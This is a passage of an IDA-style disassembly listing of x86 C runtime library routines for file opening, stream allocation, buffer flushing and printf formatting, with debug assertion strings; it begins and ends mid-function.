[ebp+var_C], ecx jmp short loc_4225C0 ; --------------------------------------------------------------------------- loc_422595: ; CODE XREF: sub_422190+3E9j ; sub_422190+3F2j push 1 push 0FFFFFFFFh mov edx, [ebp+arg_0] push edx call sub_429380 add esp, 0Ch mov [ebp+var_20], eax movsx eax, [ebp+var_1C] cmp eax, 0Ah jz short loc_4225C0 mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_4225C0: ; CODE XREF: sub_422190+2B5j ; sub_422190:loc_42249Bj ... jmp loc_4223A6 ; --------------------------------------------------------------------------- loc_4225C5: ; CODE XREF: sub_422190+21Fj ; sub_422190:loc_422419j mov eax, [ebp+var_C] sub eax, [ebp+arg_4] mov [ebp+var_18], eax loc_4225CE: ; CODE XREF: sub_422190+184j mov eax, [ebp+var_18] loc_4225D1: ; CODE XREF: sub_422190+3Dj ; sub_422190+132j ... mov esp, ebp pop ebp retn sub_422190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225E0 proc near ; CODE XREF: sub_41B070+DBp var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov eax, dword_4EFACC mov [ebp+var_1C], eax mov [ebp+var_18], 0 mov [ebp+var_10], 0 loc_4225FF: ; CODE XREF: sub_4225E0+47j cmp [ebp+arg_0], 0 jnz short loc_422623 push offset aFilenameNull ; "filename != NULL" push 0 push 47h push offset a_open_c ; "_open.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_422623 int 3 ; Trap to Debugger loc_422623: ; CODE XREF: sub_4225E0+23j ; sub_4225E0+40j xor ecx, ecx test ecx, ecx jnz short loc_4225FF loc_422629: ; CODE XREF: sub_4225E0+71j cmp [ebp+arg_4], 0 jnz short loc_42264D push offset aModeNull ; "mode != NULL" push 0 push 48h push offset a_open_c ; "_open.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_42264D int 3 ; Trap to Debugger loc_42264D: ; CODE XREF: sub_4225E0+4Dj ; sub_4225E0+6Aj xor edx, edx test edx, edx jnz short loc_422629 loc_422653: ; CODE XREF: sub_4225E0+9Bj cmp [ebp+arg_C], 0 jnz short loc_422677 push offset dword_437514 push 0 push 49h push offset a_open_c ; "_open.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_422677 int 3 ; Trap to Debugger loc_422677: ; CODE XREF: sub_4225E0+77j ; sub_4225E0+94j xor eax, eax test eax, eax jnz short loc_422653 mov ecx, [ebp+arg_4] mov dl, [ecx] mov [ebp+var_20], dl cmp [ebp+var_20], 61h jz short loc_4226BC cmp [ebp+var_20], 72h jz short loc_422699 cmp [ebp+var_20], 77h jz short loc_4226AA jmp short loc_4226CE ; --------------------------------------------------------------------------- loc_422699: ; CODE XREF: sub_4225E0+AFj mov [ebp+var_14], 0 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax jmp short loc_4226D5 ; --------------------------------------------------------------------------- loc_4226AA: ; CODE XREF: sub_4225E0+B5j mov [ebp+var_14], 301h mov ecx, [ebp+var_1C] or ecx, 2 mov [ebp+var_1C], ecx jmp short loc_4226D5 ; --------------------------------------------------------------------------- loc_4226BC: ; CODE XREF: sub_4225E0+A9j mov [ebp+var_14], 109h mov edx, [ebp+var_1C] or edx, 2 mov [ebp+var_1C], edx jmp short loc_4226D5 ; --------------------------------------------------------------------------- loc_4226CE: ; CODE XREF: sub_4225E0+B7j xor eax, eax jmp loc_4228F6 ; --------------------------------------------------------------------------- loc_4226D5: ; CODE XREF: sub_4225E0+C8j ; sub_4225E0+DAj ... mov [ebp+var_4], 1 loc_4226DC: ; CODE XREF: sub_4225E0:loc_42287Aj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jz loc_42287F cmp [ebp+var_4], 0 jz loc_42287F mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] mov [ebp+var_24], ecx mov edx, [ebp+var_24] sub edx, 2Bh mov [ebp+var_24], edx cmp [ebp+var_24], 49h ja loc_422873 mov ecx, [ebp+var_24] xor eax, eax mov al, byte_422925[ecx] jmp off_4228FD[eax*4] loc_42272B: ; DATA XREF: .nsp0:off_4228FDo mov edx, [ebp+var_14] and edx, 2 test edx, edx jz short loc_42273E mov [ebp+var_4], 0 jmp short loc_422760 ; --------------------------------------------------------------------------- loc_42273E: ; CODE XREF: sub_4225E0+153j mov eax, [ebp+var_14] or al, 2 mov [ebp+var_14], eax mov ecx, [ebp+var_14] and ecx, 0FFFFFFFEh mov [ebp+var_14], ecx mov edx, [ebp+var_1C] or dl, 80h mov [ebp+var_1C], edx mov eax, [ebp+var_1C] and al, 0FCh mov [ebp+var_1C], eax loc_422760: ; CODE XREF: sub_4225E0+15Cj jmp loc_42287A ; --------------------------------------------------------------------------- loc_422765: ; CODE XREF: sub_4225E0+144j ; DATA XREF: .nsp0:00422911o mov ecx, [ebp+var_14] and ecx, 0C000h test ecx, ecx jz short loc_42277B mov [ebp+var_4], 0 jmp short loc_422784 ; --------------------------------------------------------------------------- loc_42277B: ; CODE XREF: sub_4225E0+190j mov edx, [ebp+var_14] or dh, 80h mov [ebp+var_14], edx loc_422784: ; CODE XREF: sub_4225E0+199j jmp loc_42287A ; --------------------------------------------------------------------------- loc_422789: ; CODE XREF: sub_4225E0+144j ; DATA XREF: .nsp0:0042291Do mov eax, [ebp+var_14] and eax, 0C000h test eax, eax jz short loc_42279E mov [ebp+var_4], 0 jmp short loc_4227A7 ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_4225E0+1B3j mov ecx, [ebp+var_14] or ch, 40h mov [ebp+var_14], ecx loc_4227A7: ; CODE XREF: sub_4225E0+1BCj jmp loc_42287A ; --------------------------------------------------------------------------- loc_4227AC: ; CODE XREF: sub_4225E0+144j ; DATA XREF: .nsp0:00422915o cmp [ebp+var_18], 0 jz short loc_4227BB mov [ebp+var_4], 0 jmp short loc_4227CB ; --------------------------------------------------------------------------- loc_4227BB: ; CODE XREF: sub_4225E0+1D0j mov [ebp+var_18], 1 mov edx, [ebp+var_1C] or dh, 40h mov [ebp+var_1C], edx loc_4227CB: ; CODE XREF: sub_4225E0+1D9j jmp loc_42287A ; --------------------------------------------------------------------------- loc_4227D0: ; CODE XREF: sub_4225E0+144j ; DATA XREF: .nsp0:00422919o cmp [ebp+var_18], 0 jz short loc_4227DF mov [ebp+var_4], 0 jmp short loc_4227EF ; --------------------------------------------------------------------------- loc_4227DF: ; CODE XREF: sub_4225E0+1F4j mov [ebp+var_18], 1 mov eax, [ebp+var_1C] and ah, 0BFh mov [ebp+var_1C], eax loc_4227EF: ; CODE XREF: sub_4225E0+1FDj jmp loc_42287A ; --------------------------------------------------------------------------- loc_4227F4: ; CODE XREF: sub_4225E0+144j ; DATA XREF: .nsp0:00422909o cmp [ebp+var_10], 0 jz short loc_422803 mov [ebp+var_4], 0 jmp short loc_422813 ; --------------------------------------------------------------------------- loc_422803: ; CODE XREF: sub_4225E0+218j mov [ebp+var_10], 1 mov ecx, [ebp+var_14] or ecx, 20h mov [ebp+var_14], ecx loc_422813: ; CODE XREF: sub_4225E0+221j jmp short loc_42287A ; --------------------------------------------------------------------------- loc_422815: ; CODE XREF: sub_4225E0+144j ; DATA XREF: .nsp0:00422905o cmp [ebp+var_10], 0 jz short loc_422824 mov [ebp+var_4], 0 jmp short loc_422834 ; --------------------------------------------------------------------------- loc_422824: ; CODE XREF: sub_4225E0+239j mov [ebp+var_10], 1 mov edx, [ebp+var_14] or edx, 10h mov [ebp+var_14], edx loc_422834: ; CODE XREF: sub_4225E0+242j jmp short loc_42287A ; --------------------------------------------------------------------------- loc_422836: ; CODE XREF: sub_4225E0+144j ; DATA XREF: .nsp0:0042290Do mov eax, [ebp+var_14] and eax, 1000h test eax, eax jz short loc_42284B mov [ebp+var_4], 0 jmp short loc_422854 ; --------------------------------------------------------------------------- loc_42284B: ; CODE XREF: sub_4225E0+260j mov ecx, [ebp+var_14] or ch, 10h mov [ebp+var_14], ecx loc_422854: ; CODE XREF: sub_4225E0+269j jmp short loc_42287A ; --------------------------------------------------------------------------- loc_422856: ; CODE XREF: sub_4225E0+144j ; DATA XREF: .nsp0:00422901o mov edx, [ebp+var_14] and edx, 40h test edx, edx jz short loc_422869 mov [ebp+var_4], 0 jmp short loc_422871 ; --------------------------------------------------------------------------- loc_422869: ; CODE XREF: sub_4225E0+27Ej mov eax, [ebp+var_14] or al, 40h mov [ebp+var_14], eax loc_422871: ; CODE XREF: sub_4225E0+287j jmp short loc_42287A ; --------------------------------------------------------------------------- loc_422873: ; CODE XREF: sub_4225E0+133j ; sub_4225E0+144j ; DATA XREF: ... mov [ebp+var_4], 0 loc_42287A: ; CODE XREF: sub_4225E0:loc_422760j ; sub_4225E0:loc_422784j ... jmp loc_4226DC ; --------------------------------------------------------------------------- loc_42287F: ; CODE XREF: sub_4225E0+10Dj ; sub_4225E0+117j push 1A4h mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] push eax call sub_42C3D0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_4228A5 xor eax, eax jmp short loc_4228F6 ; --------------------------------------------------------------------------- loc_4228A5: ; CODE XREF: sub_4225E0+2BFj mov ecx, dword_4EF8EC add ecx, 1 mov dword_4EF8EC, ecx mov edx, [ebp+arg_C] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] mov [eax+0Ch], ecx mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov ecx, [ebp+var_C] mov dword ptr [ecx+8], 0 mov edx, [ebp+var_C] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax+10h], ecx mov eax, [ebp+var_C] loc_4228F6: ; CODE XREF: sub_4225E0+F0j ; sub_4225E0+2C3j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4225E0 endp ; --------------------------------------------------------------------------- off_4228FD dd offset loc_42272B ; DATA XREF: sub_4225E0+144r dd offset loc_422856 dd offset loc_422815 dd offset loc_4227F4 dd offset loc_422836 dd offset loc_422765 dd offset loc_4227AC dd offset loc_4227D0 dd offset loc_422789 dd offset loc_422873 byte_422925 db 0 ; DATA XREF: sub_4225E0+13Er dw 909h dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h dd 0CC080909h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422970 proc near ; CODE XREF: sub_41B070+B9p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 push 2 call sub_41FB40 add esp, 4 mov [ebp+var_4], 0 jmp short loc_422999 ; --------------------------------------------------------------------------- loc_422990: ; CODE XREF: sub_422970+A8j ; sub_422970:loc_422A99j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_422999: ; CODE XREF: sub_422970+1Ej mov ecx, [ebp+var_4] cmp ecx, dword_4F0FA0 jge loc_422A9E mov edx, [ebp+var_4] mov eax, dword_4EFF88 cmp dword ptr [eax+edx*4], 0 jz short loc_422A2F mov ecx, [ebp+var_4] mov edx, dword_4EFF88 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jnz short loc_422A2D mov edx, [ebp+var_4] mov eax, dword_4EFF88 mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_4] push edx call sub_41ED20 add esp, 8 mov eax, [ebp+var_4] mov ecx, dword_4EFF88 mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_422A1D mov ecx, [ebp+var_4] mov edx, dword_4EFF88 mov eax, [edx+ecx*4] push eax mov ecx, [ebp+var_4] push ecx call sub_41ED90 add esp, 8 jmp loc_422990 ; --------------------------------------------------------------------------- loc_422A1D: ; CODE XREF: sub_422970+8Dj mov edx, [ebp+var_4] mov eax, dword_4EFF88 mov ecx, [eax+edx*4] mov [ebp+var_8], ecx jmp short loc_422A9E ; --------------------------------------------------------------------------- loc_422A2D: ; CODE XREF: sub_422970+5Dj jmp short loc_422A99 ; --------------------------------------------------------------------------- loc_422A2F: ; CODE XREF: sub_422970+44j push 55h push offset aStream_c ; "stream.c" push 2 push 38h call sub_418EF0 add esp, 10h mov edx, [ebp+var_4] mov ecx, dword_4EFF88 mov [ecx+edx*4], eax mov edx, [ebp+var_4] mov eax, dword_4EFF88 cmp dword ptr [eax+edx*4], 0 jz short loc_422A97 mov ecx, [ebp+var_4] mov edx, dword_4EFF88 mov eax, [edx+ecx*4] add eax, 20h push eax call dword_4F1470 ; InitializeCriticalSection mov ecx, [ebp+var_4] mov edx, dword_4EFF88 mov eax, [edx+ecx*4] add eax, 20h push eax call dword_4F1390 ; RtlEnterCriticalSection mov ecx, [ebp+var_4] mov edx, dword_4EFF88 mov eax, [edx+ecx*4] mov [ebp+var_8], eax loc_422A97: ; CODE XREF: sub_422970+EAj jmp short loc_422A9E ; --------------------------------------------------------------------------- loc_422A99: ; CODE XREF: sub_422970:loc_422A2Dj jmp loc_422990 ; --------------------------------------------------------------------------- loc_422A9E: ; CODE XREF: sub_422970+32j ; sub_422970+BBj ... cmp [ebp+var_8], 0 jz short loc_422ADF mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+10h], 0FFFFFFFFh loc_422ADF: ; CODE XREF: sub_422970+132j push 2 call sub_41FBE0 add esp, 4 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_422970 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422AF0 proc near ; CODE XREF: sub_41B740+E5p ; sub_41B910+E4p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi loc_422AF9: ; CODE XREF: sub_422AF0+31j cmp [ebp+arg_4], 0 jnz short loc_422B1D push offset dword_437514 push 0 push 69h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_422B1D int 3 ; Trap to Debugger loc_422B1D: ; CODE XREF: sub_422AF0+Dj ; sub_422AF0+2Aj xor eax, eax test eax, eax jnz short loc_422AF9 mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_10], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 82h test edx, edx jz short loc_422B4F mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 40h test ecx, ecx jz short loc_422B65 loc_422B4F: ; CODE XREF: sub_422AF0+50j mov edx, [ebp+var_8] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_8] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_422D5D ; --------------------------------------------------------------------------- loc_422B65: ; CODE XREF: sub_422AF0+5Dj mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 1 test eax, eax jz short loc_422BBC mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 10h test eax, eax jz short loc_422BA5 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFFEh mov eax, [ebp+var_8] mov [eax+0Ch], edx jmp short loc_422BBC ; --------------------------------------------------------------------------- loc_422BA5: ; CODE XREF: sub_422AF0+97j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+var_8] mov [eax+0Ch], edx or eax, 0FFFFFFFFh jmp loc_422D5D ; --------------------------------------------------------------------------- loc_422BBC: ; CODE XREF: sub_422AF0+80j ; sub_422AF0+B3j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov [ebp+var_4], 0 mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jnz short loc_422C2F cmp [ebp+var_8], offset dword_451148 jz short loc_422C13 cmp [ebp+var_8], offset dword_451168 jnz short loc_422C23 loc_422C13: ; CODE XREF: sub_422AF0+118j mov edx, [ebp+var_10] push edx call sub_42C930 add esp, 4 test eax, eax jnz short loc_422C2F loc_422C23: ; CODE XREF: sub_422AF0+121j mov eax, [ebp+var_8] push eax call sub_42C2C0 add esp, 4 loc_422C2F: ; CODE XREF: sub_422AF0+10Fj ; sub_422AF0+131j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz loc_422D1B loc_422C43: ; CODE XREF: sub_422AF0+187j mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [eax] sub edx, [ecx+8] test edx, edx jge short loc_422C73 push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"... push 0 push 0A0h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_422C73 int 3 ; Trap to Debugger loc_422C73: ; CODE XREF: sub_422AF0+160j ; sub_422AF0+180j xor eax, eax test eax, eax jnz short loc_422C43 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [ecx] sub eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+var_8] mov [eax], edx mov ecx, [ebp+var_8] mov edx, [ecx+18h] sub edx, 1 mov eax, [ebp+var_8] mov [eax+4], edx cmp [ebp+var_4], 0 jle short loc_422CC6 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, [edx+8] push eax mov ecx, [ebp+var_10] push ecx call sub_42BDF0 add esp, 0Ch mov [ebp+var_C], eax jmp short loc_422D0E ; --------------------------------------------------------------------------- loc_422CC6: ; CODE XREF: sub_422AF0+1B8j cmp [ebp+var_10], 0FFFFFFFFh jz short loc_422CE9 mov edx, [ebp+var_10] sar edx, 5 mov eax, [ebp+var_10] and eax, 1Fh imul eax, 24h mov ecx, dword_4EFC40[edx*4] add ecx, eax mov [ebp+var_14], ecx jmp short loc_422CF0 ; --------------------------------------------------------------------------- loc_422CE9: ; CODE XREF: sub_422AF0+1DAj mov [ebp+var_14], offset dword_451C50 loc_422CF0: ; CODE XREF: sub_422AF0+1F7j mov edx, [ebp+var_14] movsx eax, byte ptr [edx+4] and eax, 20h test eax, eax jz short loc_422D0E push 2 push 0 mov ecx, [ebp+var_10] push ecx call sub_4292F0 add esp, 0Ch loc_422D0E: ; CODE XREF: sub_422AF0+1D4j ; sub_422AF0+20Cj mov edx, [ebp+var_8] mov eax, [edx+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_422D39 ; --------------------------------------------------------------------------- loc_422D1B: ; CODE XREF: sub_422AF0+14Dj mov [ebp+var_4], 1 mov edx, [ebp+var_4] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] push ecx call sub_42BDF0 add esp, 0Ch mov [ebp+var_C], eax loc_422D39: ; CODE XREF: sub_422AF0+229j mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jz short loc_422D55 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx or eax, 0FFFFFFFFh jmp short loc_422D5D ; --------------------------------------------------------------------------- loc_422D55: ; CODE XREF: sub_422AF0+24Fj mov eax, [ebp+arg_0] and eax, 0FFh loc_422D5D: ; CODE XREF: sub_422AF0+70j ; sub_422AF0+C7j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_422AF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D70 proc near ; CODE XREF: sub_41B740+9Ap ; sub_41B910+99p ... var_2A6 = word ptr -2A6h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = byte ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = word ptr -248h var_244 = dword ptr -244h var_240 = byte ptr -240h var_23F = byte ptr -23Fh var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = byte ptr -228h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2A8h push ebx push esi push edi mov [ebp+var_24], 0 mov [ebp+var_22C], 0 mov [ebp+var_18], 0 loc_422D94: ; CODE XREF: sub_422D70:loc_423982j mov eax, [ebp+arg_4] mov cl, [eax] mov byte ptr [ebp+var_28], cl movsx edx, byte ptr [ebp+var_28] mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test edx, edx jz loc_423987 cmp [ebp+var_22C], 0 jl loc_423987 movsx ecx, byte ptr [ebp+var_28] cmp ecx, 20h jl short loc_422DE6 movsx edx, byte ptr [ebp+var_28] cmp edx, 78h jg short loc_422DE6 movsx eax, byte ptr [ebp+var_28] movsx ecx, byte ptr [eax+437FF8h] and ecx, 0Fh mov [ebp+var_290], ecx jmp short loc_422DF0 ; --------------------------------------------------------------------------- loc_422DE6: ; CODE XREF: sub_422D70+55j ; sub_422D70+5Ej mov [ebp+var_290], 0 loc_422DF0: ; CODE XREF: sub_422D70+74j mov edx, [ebp+var_290] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_18] movsx edx, byte_438018[ecx+eax*8] sar edx, 4 mov [ebp+var_18], edx mov eax, [ebp+var_18] mov [ebp+var_294], eax cmp [ebp+var_294], 7 ja loc_423982 mov ecx, [ebp+var_294] jmp off_423994[ecx*4] loc_422E30: ; CODE XREF: sub_422D70+332j ; DATA XREF: .nsp0:off_423994o mov [ebp+var_1C], 0 mov edx, [ebp+var_28] and edx, 0FFh mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_422EAD lea edx, [ebp+var_22C] push edx mov eax, [ebp+arg_0] push eax movsx ecx, byte ptr [ebp+var_28] push ecx call sub_423AA0 add esp, 0Ch mov edx, [ebp+arg_4] mov al, [edx] mov byte ptr [ebp+var_28], al mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx loc_422E7E: ; CODE XREF: sub_422D70+13Bj movsx edx, byte ptr [ebp+var_28] test edx, edx jnz short loc_422EA7 push offset aCh_t0 ; "ch != _T('\\0')" push 0 push 186h push offset aOutput_c ; "output.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_422EA7 int 3 ; Trap to Debugger loc_422EA7: ; CODE XREF: sub_422D70+114j ; sub_422D70+134j xor eax, eax test eax, eax jnz short loc_422E7E loc_422EAD: ; CODE XREF: sub_422D70+E3j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx movsx eax, byte ptr [ebp+var_28] push eax call sub_423AA0 add esp, 0Ch jmp loc_423982 ; --------------------------------------------------------------------------- loc_422ECA: ; CODE XREF: sub_422D70+B9j ; DATA XREF: .nsp0:00423998o mov [ebp+var_8], 0 mov ecx, [ebp+var_8] mov [ebp+var_23C], ecx mov edx, [ebp+var_23C] mov [ebp+var_244], edx mov eax, [ebp+var_244] mov [ebp+var_10], eax mov [ebp+var_4], 0 mov [ebp+var_234], 0FFFFFFFFh mov [ebp+var_1C], 0 jmp loc_423982 ; --------------------------------------------------------------------------- loc_422F0C: ; CODE XREF: sub_422D70+B9j ; DATA XREF: .nsp0:0042399Co movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_298], ecx mov edx, [ebp+var_298] sub edx, 20h mov [ebp+var_298], edx cmp [ebp+var_298], 10h ja short loc_422F76 mov ecx, [ebp+var_298] xor eax, eax mov al, byte_4239CC[ecx] jmp off_4239B4[eax*4] loc_422F43: ; CODE XREF: sub_422D70+B9j ; DATA XREF: .nsp0:004239C0o mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx jmp short loc_422F76 ; --------------------------------------------------------------------------- loc_422F4E: ; CODE XREF: sub_422D70+B9j ; sub_422D70+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax jmp short loc_422F76 ; --------------------------------------------------------------------------- loc_422F58: ; CODE XREF: sub_422D70+B9j ; sub_422D70+1CCj ; DATA XREF: ... mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx jmp short loc_422F76 ; --------------------------------------------------------------------------- loc_422F63: ; CODE XREF: sub_422D70+B9j ; sub_422D70+1CCj ; DATA XREF: ... mov edx, [ebp+var_4] or dl, 80h mov [ebp+var_4], edx jmp short loc_422F76 ; --------------------------------------------------------------------------- loc_422F6E: ; CODE XREF: sub_422D70+B9j ; sub_422D70+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_422F76: ; CODE XREF: sub_422D70+B9j ; sub_422D70+1BCj ... jmp loc_423982 ; --------------------------------------------------------------------------- loc_422F7B: ; CODE XREF: sub_422D70+B9j ; DATA XREF: .nsp0:004239A0o movsx ecx, byte ptr [ebp+var_28] cmp ecx, 2Ah jnz short loc_422FB7 lea edx, [ebp+arg_8] push edx call sub_423BB0 add esp, 4 mov [ebp+var_244], eax cmp [ebp+var_244], 0 jge short loc_422FB5 mov eax, [ebp+var_4] or al, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_244] neg ecx mov [ebp+var_244], ecx loc_422FB5: ; CODE XREF: sub_422D70+22Dj jmp short loc_422FCE ; --------------------------------------------------------------------------- loc_422FB7: ; CODE XREF: sub_422D70+212j mov edx, [ebp+var_244] imul edx, 0Ah movsx eax, byte ptr [ebp+var_28] lea ecx, [edx+eax-30h] mov [ebp+var_244], ecx loc_422FCE: ; CODE XREF: sub_422D70:loc_422FB5j jmp loc_423982 ; --------------------------------------------------------------------------- loc_422FD3: ; CODE XREF: sub_422D70+B9j ; DATA XREF: .nsp0:004239A4o mov [ebp+var_234], 0 jmp loc_423982 ; --------------------------------------------------------------------------- loc_422FE2: ; CODE XREF: sub_422D70+B9j ; DATA XREF: .nsp0:004239A8o movsx edx, byte ptr [ebp+var_28] cmp edx, 2Ah jnz short loc_423012 lea eax, [ebp+arg_8] push eax call sub_423BB0 add esp, 4 mov [ebp+var_234], eax cmp [ebp+var_234], 0 jge short loc_423010 mov [ebp+var_234], 0FFFFFFFFh loc_423010: ; CODE XREF: sub_422D70+294j jmp short loc_423029 ; --------------------------------------------------------------------------- loc_423012: ; CODE XREF: sub_422D70+279j mov ecx, [ebp+var_234] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_28] lea eax, [ecx+edx-30h] mov [ebp+var_234], eax loc_423029: ; CODE XREF: sub_422D70:loc_423010j jmp loc_423982 ; --------------------------------------------------------------------------- loc_42302E: ; CODE XREF: sub_422D70+B9j ; DATA XREF: .nsp0:004239ACo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_29C], ecx mov edx, [ebp+var_29C] sub edx, 49h mov [ebp+var_29C], edx cmp [ebp+var_29C], 2Eh ja short loc_4230BC mov ecx, [ebp+var_29C] xor eax, eax mov al, byte_4239F1[ecx] jmp off_4239DD[eax*4] loc_423065: ; DATA XREF: .nsp0:004239E5o mov edx, [ebp+var_4] or edx, 10h mov [ebp+var_4], edx jmp short loc_4230BC ; --------------------------------------------------------------------------- loc_423070: ; CODE XREF: sub_422D70+2EEj ; DATA XREF: .nsp0:off_4239DDo mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 36h jnz short loc_42309B mov edx, [ebp+arg_4] 